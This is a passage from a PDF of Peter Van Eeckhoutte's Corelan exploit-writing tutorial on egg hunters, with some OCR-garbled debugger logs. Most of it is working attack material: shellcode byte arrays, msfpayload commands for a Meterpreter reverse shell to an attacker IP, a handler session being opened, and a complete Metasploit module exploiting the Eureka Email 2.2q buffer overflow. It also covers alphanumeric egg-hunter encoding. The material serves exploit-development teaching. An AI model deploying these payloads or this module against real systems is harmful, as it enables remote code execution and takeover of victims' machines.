The first instruction will put 0×0012 FFFF into EDX. The next instruction (INC EDX) increments EDX with 1, so EDX now points at 0×00130000 . This is the end of the current stack frame, so the search does not even start in a location where it would potentially find a copy of the shellcode in the same stack frame. (Ok, there is no copy of the shellcode in that location in our example, but it could have been the case). The egg+shellcode are somewhere in memory, and the egg hunter will eventually find the egg+shellcode. No problems there.

If the shellcode could only be found on the current stack frame (which would be rare – but hey, can happen), then it may not be possible to find the shellcode using this egg hunter (because the hunter would start searching *after* the shellcode...) Obviously, if you can execute some lines of code, and the shellcode is on the stack as well, it may be easier to jump to the shellcode directly by using a near or far jump using an offset... But it may not be reliable to do so.

Anyways, there could be a case where you would need to tweak the egg hunter a bit so it starts looking in the right place (by positioning itself before the eggs and as close as possible to the eggs, and then execute the search loop).

Do some debugging and you'll see. (watch the EDI register when the egghunter runs and you'll see where it starts). If modifying the egg hunter is required, then it may be worth while playing with the first instruction of the egg hunter a little. Replacing FFOF with 00 00 will allow you to search the current stack frame if that is required... Of course, this one would contain null bytes and you would have to deal with that. If that is a problem, you may need to be a little creative.

There may be other ways to position yourself closer, by replacing $0 \times 66, 0 \times 81, 0 \times c0, 0 \times 10$ with some instructions that would (depending on your requirements). Some examples :

- find the beginning of the current stack frame and put that value in EDI

- move the contents of another register into EDI

- find the beginning of the heap and put that value in EDI (in fact, get PEB at TEB+0×30 and then get all process heaps at PEB+0×90). Check this document for more info on building a heap only egg hunter

- find the image base address and put it in EDI

- put a custom value in EDI (dangerous – that would be like hardcoding an address, so make sure whatever you put in EDI is located BEFORE the eggs+shellcode). You could look at the other registers at the moment the egghunter code would run and see if one of the registers could be placed in EDI to make the hunter start closer to the egg. Alternatively see what is in ESP (perhaps a couple of pop edi instructions may put something usefull in EDI)

Of course, tweaking the start location is only advised if

- speed really is an issue

- etc

c) Peter Van Feckhoutte

- the exploit does not work otherwise

- you can perform the change in a generic way or if this is a custom exploit that needs to work only once.

Anyways, I just wanted to mention that you should be a little creative in order to make a better exploit, a faster exploit, a smaller exploit, etc.

Hey, the egg hunter works fine in most cases ! Why would I ever need to change the start address ?

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Ok - good question

There may be a case where the final shellcode (tag+shellcode) is located in multiple places in memory, and some of these copies are corrupted/truncated/... (= They set us up the bomb) In this particular scenario, there may be good reason to reposition the egg hunter seach start location so it would try to avoid corrupted copies. (After all, the egg hunter only looks at the 8 byte tag and not at the rest of the shellcode behind it) A good way of finding out if your shellcode

c) Peter Van Eeckhouttie

Save the environment - don't print this document !

- is somewhere in memory (and where it is)

- is corrupt or not

is by using the "!pvefindaddr compare" functionality, which was added in version 1.16 of the plugin.

This feature was really added to compare shellcode in memory with shellcode in a file, but it will dynamically search for all instances of the shellcode. So you can see where your shellcode is found, and whether the code in a given location was modified/cut off in memory or not. Using that information, you can make a decision whether you should tweak the egg hunter start position or not, and if you have to change it, where you need to change it into.

A little demo on how to compare shellcode :

First, you need to write your shellcode to a file. You can use a little script like this to write the shellcode to a file :

- # write shellcode for calc.exe to file called code.bin
- # you can of course prepend this with egghunter tag
 # if you want

11 you w

my \$shellcode="\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .

"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x30\x41\x30\x30\x41 "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" "\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" $\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a$ "\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4c\x59\x4e\x4c\x44\x49\x50\x43\x44\x43" $\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a"$ "\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" $\x4b\x51\x4f\x51\x4f\x51\x4b\x42\x46\x4c\x4b\x44"$ "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" "\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" "\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" "\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" "\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" $\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45\$ "\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open(FILE,">code.bin");
print FILE \$shellcode;
print "Wrote ".length(\$shellcode)." bytes to file code.bin\n";
close(FILE);

(We'll assume you have written the file into c:\tmp". Note that in this example, I did not prepend the shellcode with w00tw00t, because this technique really is not limited to egg hunters. Of course, if you want to prepend it with w00tw00t - be my guest)

Next, attach Immunity Debugger to the application, put a breakpoint before the shellcode would get executed, and then trigger the exploit.

Now run the following PyCommand : !pvefindaddr compare c:\tmp\code.bin

The script will open the file, take the first 8 bytes, and search memory for each location that points to these 8 bytes. Then, at each location, it will compare the shellcode in memory with the original code in the file.

If the shellcode is unmodified, you'll see something like this :

0BADF00DCompare memory with bytes in file0BADF00DCompare memory with bytes in file0BADF00DReading file c:\tmp\code.bin0BADF00DRead 303 bytes from file0BADF00DStarting search in memory0BADF00D-> searching for \x89\xe2\xda\xc1\xd9\x72\xf4\x580BADF00D-> searching for \x89\xe2\xda\xc1\xd9\x72\xf4\x580BADF00D-> searching for \x89\xe2\xda\xc1\xd9\x72\xf4\x580BADF00D-> searching for \x89\xe2\xda\xc1\xd9\x72\xf4\x580BADF00D-> searching memory at location : 0x004739AC0BADF00D-> Hooray, shellcode unmodified0BADF00D* Reading memory at location : 0x004741BB0BADF00D-> Hooray, shellcode unmodified0BADF00D* Reading memory at location : 0x004749CA0BADF00D* Reading memory at location : 0x004755840BADF00D* Reading memory at location : 0x0012DBB70BADF00D* Reading memory at location : 0x0012DBB70BADF00D-> Hooray, shellcode unmodified	
---	--

!pvefindaddr compare c:\tmp\code.bin

If the shellcode is different (I have replaced some bytes with something else, just for testing purposes), you'll get something like this :

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

- for each unmatched byte, you'll get an entry in the log, indicating the position in the shellcode, the original value (= what is found in the file at that position), and the value found in memory (so you can use this to build a list of bad chars, or to determine that - for example - shellcode was converted to uppercase or lowercase....)
 - a visual representation will be given, indicating "--" when bytes don't match :

Log da	ata	
	Message	
MUPOOD	······································	1.
ADF00D ADF00D ADF00D ADF00D ADF00D ADF00D ADF00D ADF00D ADF00D ADF00D	 Reading memory at location : 0x00120887 	
RDF00D	Corruption at position 68 : Original byte : 58 - Byte in memory : 40 Corruption at position 29 : Original byte : 58 - Byte in memory : 40	
SADF880	Corruption at position 79 : Original byte : 50 - Byte in memory : 4c Corruption at position 84 : Original byte : 50 - Byte in memory : 4c	
ADFOOD	Corruption at position 85 : Original byte : 50 - Byte in memory : 40	
SADF 880 SADF 880	Corruption at position 88 : Original byte : 50 - Byte in memory : 40 Corruption at position 97 : Original byte : 50 - Byte in memory : 40	
ADFOOD	Corruption at position 103 : Original byte : 50 - Byte in memory : 40	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	Corruption at position 115 : Original byte : 50 - Byte in memory : 40 Corruption at position 119 : Original byte : 50 - Byte in memory : 40	
ADFOOD	Corruption at position 129 : Original byte : 50 - Byte in memory : 40	
RDF00D	Corruption at position 132 : Original byte : 50 - Byte in memory : 40 Corruption at position 133 : Original byte : 50 - Byte in memory : 40 Corruption at position 167 : Original byte : 50 - Byte in memory : 40	
SADF000	Corruption at position 133 : Original byte : 50 - Byte in memory : 4c Corruption at position 167 : Original byte : 50 - Byte in memory : 4c	
SADF880	Corruption at position 182 : Original byte : 50 - Byte in memory : 4c Corruption at position 185 : Original byte : 50 - Byte in memory : 4c	
ADFOOD	Corruption at position 198 : Original byte : 58 - Byte in memory : 40	
SADF 880 SADF 880	Corruption at position 195 : Original byte : 50 - Byte in memory : 40 Corruption at position 198 : Original byte : 50 - Byte in memory : 40	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	Corruption at position 195 : Original byte : 50 - Byte in memory : 4c Corruption at position 198 : Original byte : 50 - Byte in memory : 4c Corruption at position 199 : Original byte : 50 - Byte in memory : 4c	
340F000 340F000 340F000 340F000 340F000 340F000 340F000 340F000	Corruption at position 208 : Original byte : 50 - Byte in memory : 4c Corruption at position 227 : Original byte : 50 - Byte in memory : 4c	
SADFEED	Corruption at position 227 : Original byte : 50 - Byte in memory : 4c Corruption at position 233 : Original byte : 50 - Byte in memory : 4c	
ADF00D	Corruption at position 238 : Original byte : 58 - Byte in Memory : 40 Corruption at position 239 : Original byte : 50 - Byte in Memory : 40 Corruption at position 249 : Original byte : 50 - Byte in Memory : 40	
SADF880	Corruption at position 239 : Original byte : 50 - Byte in memory : 40 Corruption at position 244 : Original byte : 50 - Byte in memory : 40 Corruption at position 247 : Original byte : 50 - Byte in memory : 40	
ADFOOD	Corruption at position 247 : Original byte : 50 - Byte in memory : 40	
SADFØØD	Corruption at position 257 : Original byte : 50 - Byte in memory : 4c Corruption at position 267 : Original byte : 50 - Byte in memory : 4c	
ADFOOD	Corruption at position 296 : Original byte : 50 - Byte in memory : 40	
ADF00D	-> Only 273 original bytes found t	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	FILE MENORY	
ADFeeD	891e2idaici d9172if4!58 891e2idaici d9172if4 58 58159149149149149143143550591491491491491431431 143143143143151 581561541431431431431431431541561541	
RDF00D	14314314314315115a15615414314314314315115a1561541	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	138:41:33:48:48:30:41:38:30:41:33:48:48:30:41:38	
RDF00D	39141424141414254441394414241414254141	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	1381421421581581381411431381421421581581381411431	
ADFOOD	14a14a14914b15814a14815814a14a14914b114a1481581	
SHUF 880 SADF 88D	1441431381431381451581581441431381431381451581	
ADFeeD	50 43 35 43 40 45 51 4a 43 35 43 48 45 51 4a	
SHUF 880 SADE 880	14t 150 40 150 14t 142 138 150 14t 1== 140 150 14t 142 138 1== 1 14t 151 146 147 150 143 131 14a 14b 151 146 147 150 143 131 14a 1	
ADFOOD	46 51 59 50 46 46 54 50 46 51 59 46 46 54 1	
SADF00D	4b14313114a14e15013114914b14313114a14e1501311491 5015015914b1501501501501501-5015014b1-5014b1-501401	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	50 43 44 43 37 49 51 49 50 43 44 43 37 49 51 49	
RDF00D	5a 44 4d 43 31 49 52 4a 5a 44 4d 43 31 49 52 4a	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	14414313414215514b15515014414313414215514b1551	
SADFOOD	4b15114f15113414515114a14b15114f15113414515114a1	
RDF00D	40142146150140144150150140142146114014411501 4015014015114f145150145146114015114f14511451	
ADFEED	51:4a:4b:50:4b:45:50:50:51:4a:4b::4b:45::	
ADF 880	<pre>(40)45)51)4a(40)40(59)51(40)45)51(4a)40(40)59)51) (58)47)54(43)34(48)43(51)(47)54(43)34(48)43(51))</pre>	
ADFOOD	4f 46 51 4b 46 43 50 50 4f 46 51 4b 46 43 50 50	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	15614513415814514515815815815813411451471361581 13815814511581441581581381145151158144111	
ADF00D	14b14413814515814e14d15814b144138145114e14d11	
ADFOOD	4b14513814313814b13914a14b14513814313814b13914a1	
ADF88D	15016014314915014214a150156114314915014214a1501 15014214815013014d15a143150142148113014d15a1431	
ADFEED	3415114f14513814a13814b13415114f14513814a13814b1	
SHDF 88D	14e14d15a14414e14613714b14e14d15a14414e14613714b1 14614d13714214314513114214614d1371421431451311421	
ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880 ADF 880	$ \begin{array}{c} b^{2} b^{2$	
ADF00D	**	

!pvefindaddr compare c:\tmp\code.bin

)F88C

So if one of the instances in memory seems to be corrupted, you can try to re-encode the shellcode to filter out bad chars... but if there is one instance that is not broken, you can try to figure out a way to get the egg hunter to start at a location that would trigger the hunter to find the unmodified version of the shellcode first :-)

Note : you can compare bytes in memory (at a specific location) with bytes from a file by adding the memory address to the command line :

!pvefindaddr compare c:\tmp\code.bin 0x0012DBB7

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

See if the egg hunter still works with larger shellcode (which is one of the goals behind using egg hunters)

Let's try again with larger shellcode. We'll try to spawn a meterpreter session over tcp (reverse connect to attacker) in the same Eureka Email exploit. Generate the shellcode. My attacker machine is at 192.168.0.122. The default port is 4444. We'll use alpha_mixed as encoder, so the command would be : ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b '0×00' -t perl -e x86/alpha_mixed

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.122 R | ./msfencode -b '0x00' -t perl -e x86/alp ha_mixed [*] x86/alpha_mixed succeeded with size 644 (iteration=1)

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/

3

my \$buf =
"\x89\xe5\xd9\xe5\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x49\x6c\x4b\x58\x4e\x69\x45\x50\x45\x50".
"\x45\x50\x43\x50\x4c\x49\x4b\x55\x46\x51\x49\x42\x50\x64" .
"\x4e\x6b\x42\x72\x44\x70\x4c\x4b\x46\x32\x46\x6c\x4e\x6b" .
"\x43\x62\x45\x44\x4e\x6b\x44\x32\x51\x38\x46\x6f\x4c\x77" .
"\x50\x4a\x45\x76\x45\x61\x4b\x4f\x45\x61\x49\x50\x4e\x4c" .
"\x47\x4c\x43\x51\x43\x4c\x46\x62\x44\x6c\x51\x30\x4f\x31" .
"\x4a\x6f\x44\x4d\x43\x31\x4f\x37\x4d\x32\x4c\x30\x50\x52" .
"\x42\x77\x4e\x6b\x50\x52\x44\x50\x4e\x6b\x50\x42\x47\x4c" .
"\x43\x31\x4a\x70\x4e\x6b\x43\x70\x43\x48\x4b\x35\x49\x50" .
"\x43\x44\x43\x7a\x45\x51\x48\x50\x46\x30\x4e\x6b\x43\x78" .
"\x45\x48\x4c\x4b\x50\x58\x45\x70\x47\x71\x49\x43\x4a\x43".
"\x47\x4c\x42\x69\x4c\x4b\x44\x74\x4e\x6b\x47\x71\x49\x46" .
"\x50\x31\x49\x6f\x50\x31\x4b\x70\x4e\x4c\x4b\x71\x4a\x6f" .
"\x44\x4d\x47\x71\x4b\x77\x45\x68\x4b\x50\x43\x45\x4a\x54" .
"\x47\x73\x43\x4d\x49\x68\x45\x6b\x43\x4d\x51\x34\x44\x35" .
"\x4d\x32\x51\x48\x4c\x4b\x42\x78\x51\x34\x47\x71\x4b\x63".
"\x43\x56\x4e\x6b\x46\x6c\x50\x4b\x4c\x4b\x43\x68\x47\x6c" .
"\x45\x51\x4e\x33\x4e\x6b\x45\x54\x4e\x6b\x46\x61\x4a\x70" .
"\x4c\x49\x50\x44\x51\x34\x45\x74\x51\x4b\x43\x6b\x51\x71".
"\x51\x49\x50\x5a\x42\x71\x49\x6f\x4d\x30\x51\x48\x43\x6f" .
"\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4d\x56\x51\x4d\x51\x78" .
"\x46\x53\x46\x52\x45\x50\x47\x70\x50\x68\x42\x57\x50\x73".
"\x50\x32\x51\x4f\x50\x54\x51\x78\x42\x6c\x44\x37\x46\x46".
"\x43\x37\x49\x6f\x4e\x35\x4c\x78\x4c\x50\x46\x61\x43\x30".
"\x45\x50\x46\x49\x4a\x64\x51\x44\x50\x50\x43\x58\x44\x69" .
"\x4f\x70\x42\x4b\x45\x50\x4b\x4f\x48\x55\x50\x50\x46\x30".
"\x42\x70\x50\x50\x47\x30\x50\x50\x43\x70\x46\x30\x45\x38".
"\x48\x6a\x46\x6f\x49\x4f\x49\x70\x4b\x4f\x4e\x35\x4f\x67" .
"\x42\x4a\x47\x75\x51\x78\x4f\x30\x4f\x58\x43\x30\x42\x5a" .
"\x50\x68\x46\x62\x43\x30\x42\x31\x43\x6c\x4c\x49\x4d\x36".
"\x50\x6a\x42\x30\x46\x36\x46\x37\x42\x48\x4d\x49\x4e\x45" .
"\x42\x54\x51\x71\x49\x6f\x4e\x35\x4d\x55\x49\x50\x44\x34".
"\x44\x4c\x49\x6f\x50\x4e\x44\x48\x50\x75\x4a\x4c\x43\x58" .
"\x4c\x30\x4c\x75\x49\x32\x42\x76\x49\x6f\x4a\x75\x43\x5a" .
"\x45\x50\x51\x7a\x43\x34\x42\x76\x50\x57\x51\x78\x45\x52" .
"\x4b\x69\x4b\x78\x43\x6f\x49\x6f\x48\x55\x4e\x6b\x46\x56" .
"\x51\x7a\x51\x50\x43\x58\x45\x50\x46\x70\x45\x50\x45\x50".
"\x51\x46\x42\x4a\x45\x50\x50\x68\x51\x48\x4f\x54\x46\x33" .
"\x4d\x35\x4b\x4f\x4b\x65\x4e\x73\x46\x33\x42\x4a\x43\x30" .
"\x50\x56\x43\x63\x50\x57\x42\x48\x44\x42\x48\x59\x49\x58".
"\x51\x4f\x49\x6f\x4b\x65\x43\x31\x49\x53\x46\x49\x4b\x76" .
"\x4d\x55\x4b\x46\x51\x65\x48\x6c\x49\x53\x47\x7a\x41\x41";

In the exploit script, replace the calc.exe shellcode with the one generated above. Before running the exploit, set up the meterpreter listener :

```
./msfconsole
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set LHOST 192.168.0.122
LHOST => 192.168.0.122
msf exploit(handler) > show options
```

Module options:

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC LHOST	process 192.168.0.122	yes yes	Exit technique: seh, thread, process The local address

Peter Van Eeckhoutte& #039;s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Knowledge is not an object, it's a flow

If you want to show your respect for my work - donate : http://www.corelan.be:8800/index.php/donate/

(c) Peter Van Eeckhouttie

c) Peter Van Eeckhouttie

LPORT	4444	yes	The local por
Exploit tar	aet:		

______ tort targe

Id Name

0 Wildcard Target

msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started reverse handler on port 4444

Now run the exploit and trigger the overflow with Eureka. After a few seconds, you should see this :

[*] Sending stage (723456	bytes)
<pre>[*] Meterpreter session 1</pre>	opened (192.168.0.122:4444 -> 192.168.0.193:15577)

meterpreter >

owned !

Implementing egg hunters in Metasploit

Let's convert our Eureka Mail Client egghunter exploit to a metasploit module. You can find some information on how this is done by looking at the excellent (and free) Offensive Security "Metasploit Unleashed" tutorial : http://www.offensive-security.com/metasploit-unleashed/Finding-a-Return-Address

Some facts before we begin :

- we will need to set up a server (POP3, listener on port 110)

- we will need to calculate the correct offset. We'll use the SRVHOST parameter for this

- we'll assume that the client is using XP SP3 (you can add more if you can get hold of the correct trampoline addresses for other Service Packs)

Note : the original metasploit module for this vulnerability is already part of Metasploit (see the exploits/windows/misc folder, and look for eureka_mail_err.rb). We'll just make our own module.

Our custom metasploit module could look something like this :

```
class Metasploit3 < Msf::Exploit::Remote</pre>
   Rank = NormalRanking
   include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Egghunter
   def initialize(info = {})
      super(update_info(info,
        Name
                          => 'Eureka Email 2.2q ERR Remote Buffer Overflow Exploit',
                          => %q{
        'Description'
            This module exploits a buffer overflow in the Eureka Email 2.2q
            client that is triggered through an excessively long ERR message.
       'Author'
              'Peter Van Eeckhoutte (a.k.a corelanc0d3r)'
         'DefaultOptions' =>
             {
              'EXITFUNC' => 'process',
         'Payload
                           =>
               BadChars' => (x00)x0a)x0dx20,
               StackAdjustment' => -3500,
              'DisableNops' => true,
          'Platform'
                            => 'win',
                            =>
          'Targets'
              [ 'Win XP SP3 English', { 'Ret' => 0x7E47BCAF } ], # jmp esp / user32.dll
          'Privileged'
                            => false,
          'DefaultTarget' => 0))
           register options(
            OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]),
           ], self.class)
        end
        def on client connect(client)
            return if ((p = regenerate_payload(client)) == nil)
           # the offset to eip depends on the local ip address string length...
offsettoeip=723-datastore['SRVHOST'].length
            # create the egg hunter
           hunter = generate_egghunter
```

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

```
# egg
   egg = hunter[1]
buffer = "-ERR
   buffer << [target.ret].pack('V')</pre>
   buffer << hunter[0]</pre>
   buffer << make_nops(1000)</pre>
   buffer << egg + egg</pre>
   buffer << payload.encoded + "\r\n"</pre>
   print_status(" [*] Sending exploit to #{client.peerhost}...")
print_status(" Offset to EIP : #{offsettoeip}")
   client.put(buffer)
   client.put(buffer)
   client.put(buffer)
   client.put(buffer)
   client.put(buffer)
   client.put(buffer)
   handler
   service.close_client(client)
end
```

end

Of course, if you want to use your own custom egg hunter (instead of using the one built into Metasploit – which uses the NtDisplayString/NtAccessCheckAndAuditAlarm technique to search memory by the way), then you can also write the entire byte code manually in the exploit.

Exploit : (192.168.0.193 = client running Eureka, configured to connect to 192.168.0.122 as POP3 server. 192.168.0.122 = metasploit machine) I have placed the metasploit module under exploit/windows/eureka (new folder) Test :

```
# #####
     # ###### #####
                                #### #####
#
                         ##
                                              #
                                                        ####
                        # #
                               #
                                                            # #
##
    ##
        #
                                      #
                                            # #
                                                       #
                  #
                                                                   #
                                      #
                                                            #
# ## #
        #####
                  #
                       #
                            #
                               ####
                                             #
                                               #
                                                       #
                                                               #
                                                                   #
#
     # #
                  #
                       ######
                                    # #####
                                              #
                                                       #
                                                            # #
                                                                   #
                            # #
                                    # #
#
     # #
                  #
                      #
                                               #
                                                       #
                                                            #
                                                               #
                                                                   #
#
     # ######
                  #
                       #
                             #
                               #### #
                                               ######
                                                        ####
                                                               #
                                                                   #
        =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 493 exploits - 232 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
= [ svn r8137 updated today (2010.01.15)
msf > use exploit/windows/eureka/corelan_eureka2
msf exploit(corelan_eureka2) > set payload windows/exec
payload => windows/exec
msf exploit(corelan_eureka2) > set SRVHOST 192.168.0.122
SRVHOST => 192.168.0.122
msf exploit(corelan_eureka2) > set CMD calc
CMD => calc
msf exploit(corelan_eureka2) > exploit
[*] Exploit running as background job.
msf exploit(corelan_eureka2) >
[*] Server started.
     [*] Sending exploit to 192.168.0.193...
[*]
[*]
          Offset to EIP : 710
[*] Server stopped.
```

Connect the Eureka Mail client to 192.168.0.122 :

Calu	-	_	_		_		_			atal M	1
GR 11e											
										đ,	
C Hex	16 De	e C (let C	8n	(F Dep		C Field		C Gra	h .	
IT in	F)	Hjø-				Inte		α		c	
54	H	1	1	MC	1			1	Mod	And	[`]
Ave	-	6.0	-	-	4	5			0	Xe	
Sun		$\dot{\mathbf{O}}$	14	MS	1	2	3	-	LA	Ne	
1	-	c_{2}		80	•	-				н	
0 at	ten	c_2	3.4		A	1		0	£	9	

Other payloads :

bindshell on port 55555 :

01/03/2010 - 16 / 39

Knowledge is not an object, it's a flow

Save the environment - don't print this document !

♀ Eureka Email - Peter				
	Command Prompt			
	C:\Dmetstat -ano i findstr 55555 TCP 0.0.0.0:55555 0.0.0.0:0 C:\>	L IS TEN ING	1572	

Badchars + Encoding

Using Metasploit

Egghunter code is just like regular shellcode. It is susceptible to corruption in memory, it may be subject to bad chars, etc. So if you are getting weird errors during egghunter execution, it may be a good idea to compare the original code with what you have in memory and search for bad chars. (I have explained a technique to compare code (whether it's the egg hunter itself or shellcode – same technique applies) earlier in this document).

What if you have discovered that the code was corrupted ?

Alternative encoding may be required to make the egg hunter work, and/or a "bad char" filter may be required to filter out characters that get corrupted or converted in memory and would break the code.

Also, keep in mind that the type of encoding & badchars to filter *may* be entirely different between what is applicable to the final shellcode and what is applicable to the egg hunter. It won't happen a lot of times, but it is possible. So you may want to run the exercise on both the hunter and the shellcode.

Encoding the egg hunter (or any shellcode) is quite simple. Just write the egghunter to a file, encode the file, and use the encoded byte code output as your egg hunter payload. Whether you'll have to include the tag before encoding or not depends on the bad chars, but in most cases you should not include it. After all, if the tag is different after encoding, you also need to prepend the shellcode with the modified tag... You'll have to put the egg hunter in a debugger and see what happened to the tag.

Example : Let's say the egg hunter needs to be alphanumerical (uppercase) encoded, and you have included the tag in the eggfile, then this will be the result :

```
root@xxxxx:/pentest/exploits/trunk# cat writeegghunter.pl
#!/usr/bin/perl
# Write egghunter to file
# Peter Van Eeckhoutte
my $eggfile = "eggfile.bin";
wy $eggfunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\x88".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";
open(FILE.">$egafile"):
print FILE $egghunter;
close(FILE):
print "Wrote ".length($egghunter)." bytes to file ".$eggfile."\n";
root@xxxxx:/pentest/exploits/trunk# perl writeegghunter.pl
Wrote 32 bytes to file eggfile.bin
root@xxxxx:/pentest/exploits/trunk# ./msfencode -e x86/alpha_upper -i eggfile.bin -t perl
[*] x86/alpha_upper succeeded with size 132 (iteration=1)
my $buf =
"\x89\xe0\xda\xc0\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43"
"\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58"
\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x30"
"\x42\x42\x58\x50\x38\x41\x43\x4a\x49\x43\x56\x4d\x51"
"\x49\x5a\x4b\x4f\x44\x4f\x51\x52\x46\x32\x43\x5a\x44\x42"
"\x50\x58\x48\x4d\x46\x4e\x47\x4c\x43\x35\x51\x4a\x42\x54"
"\x4a\x4f\x4e\x58\x42\x57\x46\x50\x46\x50\x44\x34\x4c\x4b"
"\x4b\x4a\x4e\x4f\x44\x35\x4b\x5a\x4e\x4f\x43\x45\x4b\x57"
"\x4b\x4f\x4d\x37\x41\x41";
```

Look at the output in \$buf : your tag must be out there, but where is it ? has it been changed or not ? will this encoded version work ? Try it. Don't be disappointed if it doesn't, and read on.

Peter Van Eeckhoutte's Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use

Hand-crafting the encoder

c) Peter Van Eeckhouttie

What if there are too many constraints and, Metasploit fails to encode your shellcode ? (egg hunter = shellcode, so this applies to all shapes and forms of shellcode in

general)

nttp://www.corelan.be:8800

What if, for example, the list of bad chars is quite extensive, what if - on top of that - the egg hunter code should be alphanumeric only... Well, you'll have to handcraft the encoder yourself. In fact, just encoding the egg hunter (including the tag) will not work out of the box. What we really need is a decoder that will reproduce the original egg hunter (including the tag) and then execute it.

The idea behind this chapter was taken from a beautiful exploit written by muts. If you look at this exploit, you can see a somewhat "special" egghunter.

egghunter=(

%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J" "MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5" "21*-q!au-q!au-oGSePAA%JMNU%521*-D" "A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1" "Z1E-ORHEPAA%JMNU%521*-351--331--" "TC1PAA%JMNU%521*-E1WE-E1GE-tEtFPA" "A%JMNU%521*-R222-1111-nZJ2PAA%JMN" "U%521*-1-wD-1-wD-8%GwP")

The exploit code also states : "Alphanumeric egghunter shellcode + restricted chars \x40\x3f\x3a\x2f". So it looks like the exploit only can be triggered using printable ascii characters (alphanumeric) (which is not so uncommon for a web server/web application)

When you convert this egghunter to asm, you see this : (just the first few lines are shown)

25	4A4D4E55	AND EAX,554E4D4A
25	3532312A	AND EAX,2A313235
54		PUSH ESP
58		POP EAX
2D	314D5555	SUB EAX,55554D31
